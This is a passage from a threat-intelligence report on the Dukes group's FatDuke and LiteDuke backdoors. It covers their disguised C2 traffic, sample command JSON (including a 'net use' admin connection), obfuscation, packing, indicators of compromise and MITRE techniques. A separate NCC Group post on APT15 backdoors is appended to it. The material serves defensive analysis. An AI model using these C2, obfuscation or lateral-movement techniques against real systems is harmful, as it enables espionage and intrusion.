FatDuke HTML page / Backdoor command in JSON JSON Malicious action _ Image URL Image URL Use a regex to extract a specific image URL Decode and decrypt Execute the command GET Request to the CC Downloads the PNG image Figure 30 // FatDuke CC protocol Operation Ghost The Dukes arent back  they never left27 The requests sent to the CC server are crafted to look like typical GET requests and once again are related to the script name.
For example, the request below uses parameters that you might expect to find on a forums website.
/homepage/forum.php?newsidRANDOMarticleREDACTEDuser e40a4bc603a74403979716c932f0523arevision3fromcache0 However, while some fields are randomly generated strings, article and user could be used by the operator to pinpoint the victim.
The first keyword, article, is an identifier  a SHA-256 hash of the volume identifier concatenated with MAC addresses found on the target computer.
The other keyword, user, probably flags the general configuration that comes with the malware.
This value is located in the PE resource section, right before the encoded configuration mentioned in section 4 5.
The reply is an HTML page, with the HTML content copied from a legitimate website such as the BBC.
However, if the CC server wants to send a command to the malware, it will add an additional HTML img tag to the page, as shown in Figure 31.
Figure 31 // Additional image tag sent by FatDuke CC Once it receives this HTML page, the malware uses the two following regexes: img idid[0-9] src([ ]) classimage-replace[] img ididd[0-9] src([ ]) classimage-replace[] These regexes extract the src attribute value  the URI of the image.
If it finds an image, the malware will make another GET request to http(s)://CC/directory/php_script.php?imageidsrc value.
In our example, it will make a request to http://CC/about/bottom.php?imageid32d7 bcf505ca1af4a38762ff650968ac9cab2ce305cdbf8331d30b.png.
This will return a file, such as that shown in Figure 32.
These files masquerade as PNG images in the GET request, but are not valid images.
They contain a header of 0x37 bytes, matching one hardcoded in the malware, and a chunk of encrypted data that is base64 encoded.
To further the PNG subterfuge, the header contains an incomplete, misplaced and corrupted PNG header, which may be sufficient to avert concern under cursory examination.
Figure 32 // CC response including most of a valid PNG header and an encrypted command for FatDuke Operation Ghost The Dukes arent back  they never left28 The malware then decrypts this data using AES-256 in ECB mode, with the key hardcoded in the config.
The result is a command in JSON.
Figure 33 shows six real command examples.
commandBody:14 C:\\Users\\redacted\\AppData\\ Local,size:0,iscmd:true commandBody:5 -parsingraw -typeexe net.
exe use \\\\WORKPC\\IPC \\redacted password\\ / USER:Administrator,size:0,iscmd:true commandBody:5 -parsingraw -typeexe schtasks.exe /Query /FO TABLE,size:0,iscmd:true commandBody:14C:\\Users\\Administrator,size:0,iscmd:true commandBody:14 \\\\redacted\\C\\Users\\User\\ Desktop,size:0,iscmd:true commandBody:7,size:0,iscmd:true Figure 33 // Example of commands sent to FatDuke These JSON objects contain a command identifier and the command arguments.
Table 6 shows the commands implemented by FatDuke.
Table 6 FatDuke backdoor commands ID Description ID Description 0 Read or write an environment variable 17 Copy a file or a directory 1 Load a DLL 18 Remove a directory 2 Unload a DLL 19 Remove a file 3 Execute rundll32 20 Compute the MD5 of a file 4 Execute a command, a wscript, a PowerShell command or create a process 21 cat a file 5 Execute a command, a wscript, a PowerShell command or create a process, using a pipe to get the result 22 Exfiltrate a file 6 Kill a process 23 Write a file 7 Kill itself 24 Write random data to a file (secure deletion) 8 Uninstall (secure delete its DLL and exit the process) 25 System information 9 Turn on or off the random interval 26 Date 10 Set User-Agent to default value 27 List running processes 11 Enable debug log 28 Return the list of disks with their type and available space 12 Return the working directory 29 Return malware information 13 Change the working directory 30 Listen to a pipe 14 List directory 31 Stop listening to a pipe 15 Create directory 32 List open pipes 16 Move a file or a directory The CC servers used for FatDuke do not seem to be compromised websites.
In order to look legitimate, they register variants of existing domains and redirect the homepage of their CC server to the homepage of the real domain.
As mentioned before, this technique is also used for PolyglotDuke CC servers.
For example, they registered the domain fairfieldsch[.
]org and make it redirect to fairfields.northants.sch.uk, the website of a school in the UK.
We also noticed that they used several CC servers per targeted organization, but these servers apparently dont overlap across the victims, ensuring tight compartmentalization.
Operation Ghost The Dukes arent back  they never left29 Local network pivoting What if the compromised machine doesnt have access, or has restricted access, to the Internet?
The developers implemented a functionality they called PivotingPipeTransport.
It allows the malware to communicate with other malware instances using pipes.
In order to connect to a remote machine, it first calls WNetAddConnection2.
This function takes the following arguments: lpNetResource: the remote machine lpPassword: the remote password lpUserName: the remote username These pieces of information are available in the malware configuration under the names: pivoting_ip pivoting_login pivoting_password Then, it will create a pipe using the name specified in the pivoting_pipe configuration field and use it to communicate with the other malware instance.
Thus, this functionality allows attackers to bypass network restrictions that may be enforced on critical systems.
However, they need to steal the credentials of the remote machine first or use organization-level administrative credentials.
Obfuscation The FatDuke binaries are highly obfuscated.
They use three different techniques in order to slow down analysis.
First, they use string stacking for all important strings this consists of building strings dynamically by pushing each character separately on the stack, rather than using strings from the .data section.
They also add some basic operations to the stacking in order to prevent the extraction without emulating the code.
Figure 34 shows such an example where the ASCII value of each letter is multiplied with a hardcoded value of 1.
Figure 34 // FatDuke obfuscation  String stacking Second, they also add opaque predicates in most of the functions.
Opaque predicates are conditions that are always True or always False.
They are not part of the codes semantic, but the code is harder to read.
Figure 35 is an example of opaque predicates we found in FatDuke.
Whatever the result of rand() is, v11 is always equal to 15.
Thus, the condition is always False.
Figure 35 // FatDuke obfuscation  Opaque predicate https://docs.microsoft.com/en-us/windows/win32/api/winnetwk/nf-winnetwk-wnetaddconnection2a Operation Ghost The Dukes arent back  they never left30 Third, they add junk code and junk strings.
Unlike opaque predicates, the code will be executed but it is useless and again is not part of the semantics of the program.
For example, the function in Figure 36 and in Figure 37 returns always the same value, which is never used.
Figure 36 // FatDuke obfuscation  Junk function call Figure 37 // FatDuke obfuscation  Junk function return value The binary contains a huge amount of strings from different projects like Chromium.
It might be an attempt to bypass security products, similar to what was posted by SkyLight [27].
These strings are used to fill very large structures (about 1000 fields), probably to hide the few interesting fields used by the malware, as shown in Figure 38.
Figure 38 // FatDuke obfuscation  Chromium strings We are not sure whether Dukes developers used a commercial obfuscation tool or if they developed their own.
However, given their level of sophistication, it would not be surprising if they rely on their own obfuscator.
Operation Ghost The Dukes arent back  they never left31 4.6 LiteDuke: the former third stage LiteDuke is a third-stage backdoor that was mainly used in 2014-2015.
It is not directly linked to Operation Ghost, but we found it on some machines compromised by MiniDuke.
We chose to document it mainly because we did not find it described elsewhere.
We have dubbed it LiteDuke because it uses SQLite to store information such as its configuration.
Our analysis is based on the sample with SHA-1 AF2B46D4371CE632E2669FEA1959EE8AF4EC39CE.
Link with the Dukes LiteDuke uses the same dropper as PolyglotDuke.
It also uses the same encryption scheme, shown in Figure 7 in section 3 2, to obfuscate its strings.
As we havent seen any other threat actor using the same code, we are confident that LiteDuke was indeed part of the Dukes arsenal.
Packer LiteDuke is packed using several layers of encryption and steganography.
1.
In the PE resources section, the initial dropper has a GIF picture.
The picture is not valid but contains a second dropper.
2.
This second executable has a BMP picture in its resources.
It uses steganography to hide bytes in the image.
Once decoded and decrypted, we have the loader.
3.
The loader will decrypt the backdoor code and load it into memory.
Figure 39 summarizes the unpacking process from the initial dropper to the backdoor code.
GIF picture (invalid) GIF BMP picture (with data hidden using steganography) Backdoor BMP Dropper 1 exe Decode, decrypt, drop and execute Decrypt and load into memory Extract from the resources section Extract from the resources section Decrypt and execute Dropper 2 exe Loader exe Figure 39 // LiteDuke unpacking process Side Story We also noticed that the attackers left a curious artefact in an older sample (the dropper with SHA-1 7994714FFDD6411A6D64A7A6371DB9C529E70C37) as shown in Figure 40.
Figure 40 // Curious phone number left by the attackers This is the phone number of a mental health specialist in a small city in the state of Indiana in the United States.
Operation Ghost The Dukes arent back  they never left32 Backdoor The backdoor code only exists in memory as only the loader is written to disk.
The loader persists using a Windows shortcut (.lnk file) that is registered in the traditional CurrentVersion\Run registry key.
According to the PE header, the developers did not make use of Visual Studio to compile this backdoor.
Figure 41 shows that they used the linker FASM 1.70.
FASM (Flat Assembler) is an assembler that can produce Windows or Linux binaries.
It reminds us of the MiniDuke backdoor, developed directly in x86 assembly.
Figure 41 // Assembler used by the developer (screenshot of DIE analysis) The backdoor DLL exports seven functions that have relatively explicit names (CC being Crypto Container): SendBin LoadFromCC SaveToCC GetDBHandle GetCCFieldSize GetCCFieldLn DllEntryPoint Interestingly, the malware apparently attempts to bypass Kaspersky security products by checking if the registry key HKCU\Software\KasperskyLab exists and if so, it waits 30 seconds before executing any additional code.
We do not know whether this really bypasses any Kaspersky security products.
The Crypto Container is an SQLite database, stored on the disk in the same directory as the loader, and uses SQLCipher.
This SQLite extension encrypts the database using AES-256.
The encryption key is the MD5 hash of machine-specific values (such as CPUID, the account name, the BIOS version and the processor name) to prevent decryption if, for example, the database ends up in a public malware repository.
The key is not stored anywhere but is re-generated at each execution.
The database contains three different tables, which are created using the following commands: CREATETABLEmodules(uidINTEGERPRIMARYKEY,versionchar(255), codeblob,configblob,typechar(10),md5sumchar(32),autorun (INTEGER) CREATETABLEobjects(uidINTEGERPRIMARYKEYAUTOINCREMENT,name CHAR(255),bodyblob,typechar(10),md5sumchar(32)) CREATETABLEconfig(uidINTEGERPRIMARYKEYAUTOINCREMENT,agent_id CHAR(128),remote_hostCHAR(256),remote_portinteger,remote_path char(1024),update_intervalinteger,server_keyCHAR(32),rcv_header CHAR(64)) The configuration default values are hardcoded in the binary.
This SQLite table allows the malware operators to update these parameters easily.
Similarly, the modules, which are plug-ins for the backdoor, are stored in the database.
Since the database is encrypted, the modules never touch the disk in plaintext and will only be loaded into memory.
Unfortunately, we have not yet been able to find any of the plug-ins used by LiteDuke.
One artefact of the development method is the implementation of the backdoor commands.
Usually, a backdoor will have a big switch statement to check the command sent by the CC server against the list of commands implemented in the malware.
In the case of LiteDuke, it is a succession of loops: one loop per implemented command, as shown in Figure 42.
https://www.zetetic.net/sqlcipher/ Operation Ghost The Dukes arent back  they never left33 Figure 42 // Multiple while loops instead of a backdoor switch case Each of the 41 different commands has between three and six possible command IDs.
The program will loop successively on the list until the ID in the list matches the ID provided by the operator.
The full list is available in Figure 43.
Figure 43 // List of LiteDuke command IDs Given the large number of different commands, we wont list them all.
Basically, the backdoor can: Upload or download files Securely delete a file by first writing random data (from a linear congruential generator) to the file Update the database (config, modules and objects) Create a process Get system information (CPUID, BIOS version, account name, etc.)
Terminate itself The network part of the backdoor is relatively simple.
It uses GET requests to contact either the hardcoded CC URL or the one stored in the database.
Figure 44 shows the domain, resources and parameters used by LiteDuke.
Operation Ghost The Dukes arent back  they never left34 Figure 44 // LiteDuke CC domain, resources and parameters Among the different samples we analyzed, the CC domains are different, but they always use a script named rcv_get.php.
We believe that the CC domains are compromised servers.
In order to blend into the network traffic, and similar to FatDuke, the malware checks the default browser and chooses its User-Agent request header accordingly, as shown in Table 7.
It can also get the proxy configuration from Firefox, in the configuration file prej.js, or from Opera, in the operaprefs.ini file.
This information is then used when establishing a connection to the CC server.
Table 7 User-Agent strings used by LiteDuke Default Browser User-Agent Internet Explorer Mozilla/4.0 (compatible MSIE 8.0 Windows NT 6.1 WOW64 Trident/4.0 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729) Firefox Mozilla/5.0 (Windows NT 6.2 WOW64 rv:23.0) Gecko/20100101 Firefox/23.0 Chrome Mozilla/5.0 (Windows U Windows NT 6.1 en-US) AppleWeb- Kit/534.13(KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Safari Mozilla/5.0 (Windows U Windows NT 5.1 en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Opera Opera/9.80 (Windows NT 5.1 U en-US) Presto/2.7.62 Version/11.01 As one can see, some of these User-Agents are custom and they all refer to very old browsers, most of them released in 2011.
It is also way less stealthy than with FatDukes sniffing of the real User-Agent used by the local browser.
This reinforces our hypothesis that this backdoor was used many years ago and is no longer deployed in the wild.
5.
CONCLUSION Operation Ghost shows that the Dukes never stopped their espionage activities.
They were in the spotlight after the breach of the Democratic National Committee during the 2016 US presidential elections.
However, they then recovered from that media attention and rebuilt most of their toolset.
Using these new tools and previously used techniques, such as leveraging Twitter and steganography, they were able to breach Foreign Affairs Ministries of several European governments.
This campaign also shows that APT threat actors going dark for several years does not mean they have stopped spying.
They might pause for a while and re-appear in another form, but they still need to spy to fulfill their mandates.
To help defenders better protect their networks, we will continue to monitor the Dukes developments.
Indicators of Compromise can also be found on GitHub.
For any inquiries, or to make sample submissions related to the subject, contact us at: threatinteleset com.
https://github.com/eset/malware-ioc/tree/master/dukes mailto:threatintel40eset.com?subjectDukes Operation Ghost The Dukes arent back  they never left35 6.
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21 GReAT, Miniduke is back: Nemesis Gemina and the Botgen Studio, 03 07 2014.
[Online].
Available: https://securelist com/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/64107/.
22 The Unicode Consortium, Katakana Range: 30A030FF,[Online].
Available: https://www unicode org/charts/PDF/U30A0 pdf.
23 The Unicode Consortium, Cherokee Range: 13A0-13FF,[Online].
Available: https://unicode org/charts/PDF/U13A0 pdf.
24 The Unicode Consortium, Kangxi Radicals Range: 2F00-2FDF,[Online].
Available: https://unicode org/charts/PDF/U2F00 pdf.
25 P.-M. Bureau and C. Dietrich, Hiding in Plain Sight, 2015.
[Online].
Available: https://www blackhat com/docs/ eu-15/materials/eu-15-Bureau-Hiding-In-Plain-Sight-Advances-In-Malware-Covert-Communication-Channels pdf.
26 T. Lszl and .
Kiss, Obfuscating C programs via control flow flattening, 08 2009.
[Online].
Available: http://ac inf elte hu/Vol_030_2009/003 pdf.
27 Skylight, Cylance, I Kill You, 18 07 2019.
[Online].
Available: https://skylightcyber com/2019/07/18/cylance-i-kill-you/.
https://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-full.pdf https://securelist.com/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/64107/ https://www.unicode.org/charts/PDF/U30A0.pdf https://unicode.org/charts/PDF/U13A0.pdf https://unicode.org/charts/PDF/U2F00.pdf https://www.blackhat.com/docs/eu-15/materials/eu-15-Bureau-Hiding-In-Plain-Sight-Advances-In-Malware-Covert-Communication-Channels.pdf https://www.blackhat.com/docs/eu-15/materials/eu-15-Bureau-Hiding-In-Plain-Sight-Advances-In-Malware-Covert-Communication-Channels.pdf http://ac.inf.elte.hu/Vol_030_2009/003.pdf https://skylightcyber.com/2019/07/18/cylance-i-kill-you/ Operation Ghost The Dukes arent back  they never left37 7.
INDICATORS OF COMPROMISE 7.1 Hashes Component SHA-1 Compilation Date ESET detection name PolyglotDuke 4BA559C403FF3F5CC2571AE0961EAFF6CF0A50F6 07/07/2014 Win32/Agent.
ZWH CF14AC569A63DF214128F375C12D90E535770395 07/06/2017 Win32/Agent.
AAPY 539D021CD17D901539A5E1132ECAAB7164ED5DB5 07/06/2017 Win32/Agent.
ZWH 0E25EE58B119DD48B7C9931879294AC3FC433F50 07/08/2017 Win64/Agent.
OL D625C7CE9DC7E56A29EC9A81650280EDC6189616 19/10/2018 Win64/Agent.
OL RegDuke Loader 0A5A7DD4AD0F2E50F3577F8D43A4C55DDC1D80CF 21/12/2017 MSIL/Tiny.
BG F7FD63C0534D2F717FD5325D4397597C9EE4065F 10/07/2018 MSIL/Tiny.
BG 194D8E2AE4C723CE5FE11C4D9CFEFBBA32DCF766 29/08/2018 MSIL/Agent.
TGC 64D6C11FFF2C2AADAACEE01B294AFCC751316176 01/10/2018 MSIL/Agent.
SVP 6ACC0B1230303F8CF46152697D3036D69EA5A849 25/10/2018 MSIL/Agent.
SXO 170BE45669026F3C1FC5BA2D48817DBF950DA3F6 01/12/2018 MSIL/Agent.
SYC RegDuke Backdoor 5905C55189C683BC37258AEC28E916C41948CD1C 29/08/2018 MSIL/Agent.
CAW MiniDuke B05CABA461000C6EBD8B237F318577E9BCCD6047 17/08/2018 Win32/Agent.
TSG 718C2CE6170D6CA505297B41DE072D8D3B873456 24/06/2019 Win32/Agent.
TUF FatDuke A88DA2DD033775F7ABC8D6FB3AD5DD48EFBEADE1 03/05/2017 Win32/Agent.
TSH DB19171B239EF6DE8E83B2926EADC652E74A5AFA 22/05/2019 Win32/Agent.
TSH FatDuke Loader 9E96B00E9F7EB94A944269108B9E02D97142EEDC 19/04/2019 Win32/Agent.
AAPY LiteDuke AF2B46D4371CE632E2669FEA1959EE8AF4EC39CE 02/10/2014 Win32/Agent.
AART 7.2 Network Domains Component Domain PolyglotDuke acciaio.com[.
]br ceycarb[.
]com coachandcook[.
]at fisioterapiabb[.
]it lorriratzlaff[.
]com mavin21c.dothome.co[.
]kr motherlodebulldogclub[.
]com powerpolymerindustry[.
]com publiccouncil[.
]org rulourialuminiu.co[.
]uk sistemikan[.
]com varuhusmc[.
]org MiniDuke ecolesndmessines[.
]org salesappliances[.
]com FatDuke busseylawoffice[.
]com fairfieldsch[.
]org ministernetwork[.
]org skagenyoga[.
]com westmedicalgroup[.
]net LiteDuke bandabonga[.
]fr Operation Ghost The Dukes arent back  they never left38 Public webpages used by PolyglotDuke http://ibb[.
]co/hVhaAq http://imgur[.
]com/1RzfF7r http://imgur[.
]com/6wjspWp http://imgur[.
]com/d4ObKL0 http://imgur[.
]com/D6U06Ci http://imgur[.
]com/GZSK9zI http://imgur[.
]com/wcMk7a2 http://imgur[.
]com/WMTwSMJ http://imgur[.
]com/WOKHonk http://imgur[.
]com/XFa7Ee1 http://jack998899jack.imgbb[.
]com http://simp[.
]ly/publish/pBn8Jt http://thinkery[.
]me/billywilliams/5a0170161cb602262f000d2c http://twitter[.
]com/aimeefleming25 http://twitter[.
]com/hen_rivero http://twitter[.
]com/JamesScott1990 http://twitter[.
]com/KarimM_traveler http://twitter[.
]com/lerg5pvo1i http://twitter[.
]com/m63vhd7ach3 http://twitter[.
]com/MarlinTarin http://twitter[.
]com/np8j7ovqdl http://twitter[.
]com/q5euqysfu5 http://twitter[.
]com/qistp743li http://twitter[.
]com/t8t842io2 http://twitter[.
]com/ua6ivyxkfv http://twitter[.
]com/utyi5asko02 http://twitter[.
]com/vgmmmyqaq http://twitter[.
]com/vvwc63tgz http://twitter[.
]com/wekcddkg2ra http://twitter[.
]com/xzg3a2e2z http://www.evernote[.
]com/shard/s675/sh/6686ff4e-8896-499b-8cdb-a2bbf2cc4db9/ fc7fbe66c820f17c30147235e95d31b8 http://www.fotolog[.
]com/g1h4wuiz6 http://www.fotolog[.
]com/gf3z425rr0 http://www.fotolog[.
]com/i4ntff47xfw http://www.fotolog[.
]com/joannevil/121000000000030009/ http://www.fotolog[.
]com/o2rh2s2x7pu http://www.fotolog[.
]com/q4tusizx9xb http://www.fotolog[.
]com/rypnil03sl6 http://www.fotolog[.
]com/shx8hypubt http://www.fotolog[.
]com/u99aliw5g http://www.fotolog[.
]com/uq44y4j19m8 http://www.fotolog[.
]com/vq21p34 http://www.fotolog[.
]com/vz1g3wmwu http://www.fotolog[.
]com/zu2of5vyfl6 http://www.google[.
]com/?gws_rdsslqHeiofjskghweHjwefkbqw http://www.kiwibox[.
]com/AfricanRugby/info/ http://www.kiwibox[.
]com/GaryPhotographe/info/ http://www.reddit[.
]com/user/BeaumontV/ http://www.reddit[.
]com/user/StevensThomasWis/ Operation Ghost The Dukes arent back  they never left39 8.
MITRE ATTCK TECHNIQUES Tactic ID Name Description Initial Access T1193 Spearphishing Attachment The Dukes likely used spearphishing emails to compromise the target.
T1078 Valid Accounts Operators use account credentials previously stolen to come back on the victims network.
Execution T1106 Execution through API They use CreateProcess or LoadLibrary Windows APIs to execute binaries.
T1129 Execution through Module Load Some of their malware load DLL using LoadLibrary Windows API.
T1086 PowerShell FatDuke can execute PowerShell scripts.
T1085 Rundll32 The FatDuke loader uses rundll32 to execute the main DLL.
T1064 Scripting FatDuke can execute PowerShell scripts.
T1035 Service Execution The Dukes use PsExec to execute binaries on remote hosts.
Persistence T1060 Registry Run Keys / Startup Folder The Dukes use the CurrentVersion\Run registry key to establish persistence on compromised computers.
T1053 Scheduled Task The Dukes use Scheduled Task to launch malware at startup.
T1078 Valid Accounts The Dukes use account credentials previously stolen to come back on the victims network.
T1084 Windows Management Instrumentation Event Subscription The Dukes used WMI to establish persistence for RegDuke.
Defense Evasion T1140 Deobfuscate/Decode Files or Information The droppers for PolyglotDuke and LiteDuke embed encrypted payloads.
T1107 File Deletion The Dukes malware can delete files and directories.
T1112 Modify Registry The keys used to decrypt RegDuke payloads are stored in the Windows registry.
T1027 Obfuscated Files or Information The Dukes encrypts PolyglotDuke and LiteDuke payloads with custom algorithms.
They also rely on known obfuscation techniques such as opaque predicates and control flow flattening to obfuscate RegDuke, MiniDuke and FatDuke.
T1085 Rundll32 The FatDuke loader uses rundll32 to execute the main DLL.
T1064 Scripting FatDuke can execute PowerShell scripts.
T1045 Software Packing The Dukes use a custom packer to obfuscate MiniDuke and FatDuke binaries.
They also use the commercial packer .NET Reactor to obfuscate RegDuke.
T1078 Valid Accounts The Dukes use account credentials previously stolen to come back on the victims network.
T1102 Web Service PolyglotDuke fetches public webpages (Twitter, Reddit, Imgur, etc.)
to get encrypted strings leading to new CC.
server.
For RegDuke, they also use Dropbox as a CC server.
Discovery T1083 File and Directory Discovery The Dukes can interact with files and directories on the victims computer.
T1135 Network Share Discovery The Dukes can list network shares.
T1057 Process Discovery The Dukes can list running processes.
T1049 System Network Connections Discovery The Dukes can execute commands like net use to gather information on network connections.
Lateral Movement T1077 Windows Admin Shares The Dukes use PsExec to execute binaries on a remote host.
https://attack.mitre.org/techniques/T1193/ https://attack.mitre.org/techniques/T1078/ https://attack.mitre.org/techniques/T1106/ https://attack.mitre.org/techniques/T1129/ https://attack.mitre.org/techniques/T1086/ https://attack.mitre.org/techniques/T1085/ https://attack.mitre.org/techniques/T1064/ https://attack.mitre.org/techniques/T1035/ https://attack.mitre.org/techniques/T1060/ https://attack.mitre.org/techniques/T1053/ https://attack.mitre.org/techniques/T1078/ https://attack.mitre.org/techniques/T1084/ https://attack.mitre.org/techniques/T1140/ https://attack.mitre.org/techniques/T1107/ https://attack.mitre.org/techniques/T1112/ https://attack.mitre.org/techniques/T1027/ https://attack.mitre.org/techniques/T1085/ https://attack.mitre.org/techniques/T1064/ https://attack.mitre.org/techniques/T1045/ https://attack.mitre.org/techniques/T1078/ https://attack.mitre.org/techniques/T1102/ https://attack.mitre.org/techniques/T1083/ https://attack.mitre.org/techniques/T1135/ https://attack.mitre.org/techniques/T1057/ https://attack.mitre.org/techniques/T1049/ https://attack.mitre.org/techniques/T1077/ Operation Ghost The Dukes arent back  they never left40 Collection T1005 Data from Local System The Dukes can collect files on the compromised machines T1039 Data from Network Shared Drive The Dukes can collect files on shared drives.
T1025 Data from Removable Media The Dukes can collect files on removable drives.
Command and Control T1090 Connection Proxy The Dukes can communicate to the CC server via proxy.
They also use named pipes as proxies when a machine is isolated within a network and does not have direct access to the internet.
T1001 Data Obfuscation The Dukes use steganography to hide payloads and commands inside valid images.
T1008 Fallback Channels The Dukes have multiple CC servers in case one of them is down.
T1071 Standard Application Layer Protocol The Dukes are using HTTP and HTTPS protocols to communicate with the CC server.
T1102 Web Service PolyglotDuke fetches public webpages (Twitter, Reddit, Imgur, etc.)
to get encrypted strings leading to new CC server.
For RegDuke, they also use Dropbox as a CC server.
Exfiltration T1041 Exfiltration Over Command and Control Channel The Dukes use the CC channel to exfiltrate stolen data.
https://attack.mitre.org/techniques/T1005/ https://attack.mitre.org/techniques/T1039/ https://attack.mitre.org/techniques/T1025/ https://attack.mitre.org/techniques/T1090/ https://attack.mitre.org/techniques/T1001/ https://attack.mitre.org/techniques/T1008/ https://attack.mitre.org/techniques/T1071/ https://attack.mitre.org/techniques/T1102/ https://attack.mitre.org/techniques/T1041/ 1.Executive summary 2.Background 2.1Timeline 2.2Targets 2.3Tools and tactics 3.Operation Ghost 3.1Targets and timeline 3.2Attribution to the Dukes 3.3Tactics and tools 3.4Operational times 4.Technical analysis 4.1Compromise vector 4.2PolyglotDuke: the first stage 4.3RegDuke: a first-stage implant 4.4MiniDuke backdoor: the second stage 4.5FatDuke: the third stage 4.6LiteDuke: the former third stage 5.Conclusion 6.Bibliography 7.Indicators of Compromise 7.1Hashes 7.2Network 8.MITRE ATTCK techniques Figure 1 // Dukes history timeline newly discovered items related to Operation Ghost are shaded Figure 2 // Historical malicious email example.
Figure 3 // Decoy document opened by the malicious attachment Figure 4 // Reddit post containing an encoded CC URL Figure 5 // Timeline of Operation Ghost Figure 6 // Comparison of a custom string encryption function found in PolyglotDuke and in OnionDuke samples from 2013 Figure 7 // Comparison of the same function in MiniDuke from 2014 and in MiniDuke from 2018 Figure 8 // Summary of Operation Ghost malware platform Figure 9 // Dukes operational hours Figure 10 // Example of a public post containing an encoded CC URL Figure 11 // CC response with a path to an image to download Figure 12 // Communication sequence with the CC server Figure 13 // Embedded blob format Figure 14 // Decompiled hash signature verification procedure Figure 15 // Public key used to verify the hash signature Figure 16 // Encrypted blob format after decryption Figure 17 // Obfuscated RegDuke sample Figure 18 // RegDuke.
The path, password and salt are hardcoded in this example.
Figure 19 // Decryption of RegDuke payload Figure 20 // Dropbox backdoor configuration (redacted) Figure 21 // Example of two pictures downloaded from the Dropbox directory Figure 22 // Loop extracting a payload from the pixels of a downloaded picture Figure 23 // The least significant bits of each color of each pixel are extracted to recover the hidden data Figure 24 // Comparison between a blue of value 255 and a blue of value 248 Figure 25 // Invalid digital signature added to the backdoor Figure 26 // Control flow flattening used to obfuscate the MiniDuke backdoor Figure 27 // Post request to the CC server that looks like a regular jpeg file upload Figure 28 // FatDuke configuration data in the PE resources Figure 29 // FatDuke configuration example Figure 30 // FatDuke CC protocol Figure 31 // Additional image tag sent by FatDuke CC Figure 32 // CC response including most of a valid PNG header and an encrypted command for FatDuke Figure 33 // Example of commands sent to FatDuke Figure 34 // FatDuke obfuscation  String stacking Figure 35 // FatDuke obfuscation  Opaque predicate Figure 36 // FatDuke obfuscation  Junk function call Figure 37 // FatDuke obfuscation  Junk function return value Figure 38 // FatDuke obfuscation  Chromium strings Figure 39 // LiteDuke unpacking process Figure 40 // Curious phone number left by the attackers Figure 41 // Assembler used by the developer (screenshot of DIE analysis) Figure 42 // Multiple while loops instead of a backdoor switch case Figure 43 // List of LiteDuke command IDs Figure 44 // LiteDuke CC domain, resources and parameters
September 3, 2018 APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and- royaldns/ In May 2017, NCC Groups Incident Response team reacted to an ongoing incident where our client, which provides a range of services to UK Government, suffered a network compromise involving the advanced persistent threat group APT15.
APT15 is also known as, Ke3chang, Mirage, Vixen Panda GREF and Playful Dragon.
A number of sensitive documents were stolen by the attackers during the incident and we believe APT15 was targeting information related to UK government departments and military technology.
APT15 expands its arsenal During our analysis of the compromise, we identified new backdoors that now appear to be part of APT15s toolset.
The backdoor BS2005 - which has traditionally been used by the group - now appears alongside the additional backdoors RoyalCli and RoyalDNS.
The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines.
The name RoyalCli was chosen by us due to a debugging path left in the binary: c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb RoyalCli and BS2005 both communicate with the attackers command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2.
Due to the nature of the technique, this results in C2 data being cached to disk by the IE process well get to this later.
Analysis of the domains and IP address infrastructure used by APT15 identified a number of similar possible domains, shown at the bottom of the post.
These appeared to be hosted on either Linode or Google Cloud, with a preference for using the ASN AS63949.
All of the backdoors identified - excluding RoyalDNS - required APT15 to create batch scripts in order to install its persistence mechanism.
This was achieved through the use of a simple Windows run key.
We believe that APT15 could have employed this technique in order to evade behavioural detection, rather than due to a lack of sophistication or development capability.
Additional tools were recovered during the incident, including a network scanning/enumeration tool, the archiving tool WinRAR and a bespoke Microsoft SharePoint enumeration and data dumping tool, known as spwebmember.
1/3 https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ spwebmember was written in Microsoft .NET and includes hardcoded values for client project names for data extraction.
The tool would connect to the SQL SharePoint database and issue a query to dump all data from the database to a temporary file affixed with spdata.
The group also used keyloggers and their own .NET tool to enumerate folders and dump data from Microsoft Exchange mailboxes.
APT15 was also observed using Mimikatz to dump credentials and generate Kerberos golden tickets.
This allowed the group to persist in the victims network in the event of remediation actions being undertaken, such as a password reset.
APT15 lives off the land Upon ejection from the network, APT15 managed to regain access a couple of weeks later via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host.
This time, APT15 opted for a DNS based backdoor: RoyalDNS.
The persistence mechanism used by RoyalDNS was achieved through a service called Nwsapagent.
C2 of this backdoor was performed using the TXT record of the DNS protocol.
C2 was communicating with the domain andspurs[.
]com.
We mentioned earlier that due to the nature of the IE injection technique used by the HTTP- based backdoors, a number of C2 commands were cached to disk.
We were able to recover these files and reverse engineer the encoding routine used by the backdoors in order to uncover the exact commands executed by the attacker.
In total, we were able to recover more than 200 commands executed by the attacker against the compromised hosts and were able to gain a clear insight into the attackers TTPs.
Our decode scripts can be found on our Github page: https://github.com/nccgroup/Royal_APT Analysis of the commands executed by APT15 reaffirmed the groups preference to live off the land.
They utilised Windows commands in order to enumerate and conduct reconnaissance activities such as tasklist.exe, ping.exe, netstat.exe, net.exe, systeminfo.exe, ipconfig.exe and bcp.exe.
Lateral movement was conducted through by a combination of net command, mounting the C share of hosts and manually copying files to or from compromised hosts.
APT15 then used a tool known as RemoteExec (similar to Microsofts Psexec) in order to remotely execute batch scripts and binaries.
During our analysis of the decoded attacker commands we noticed a typographical mistake, shown below in the folder name systme.
This indicates that a human operative was executing commands on a command line style interface, rather than an automated or GUI process.
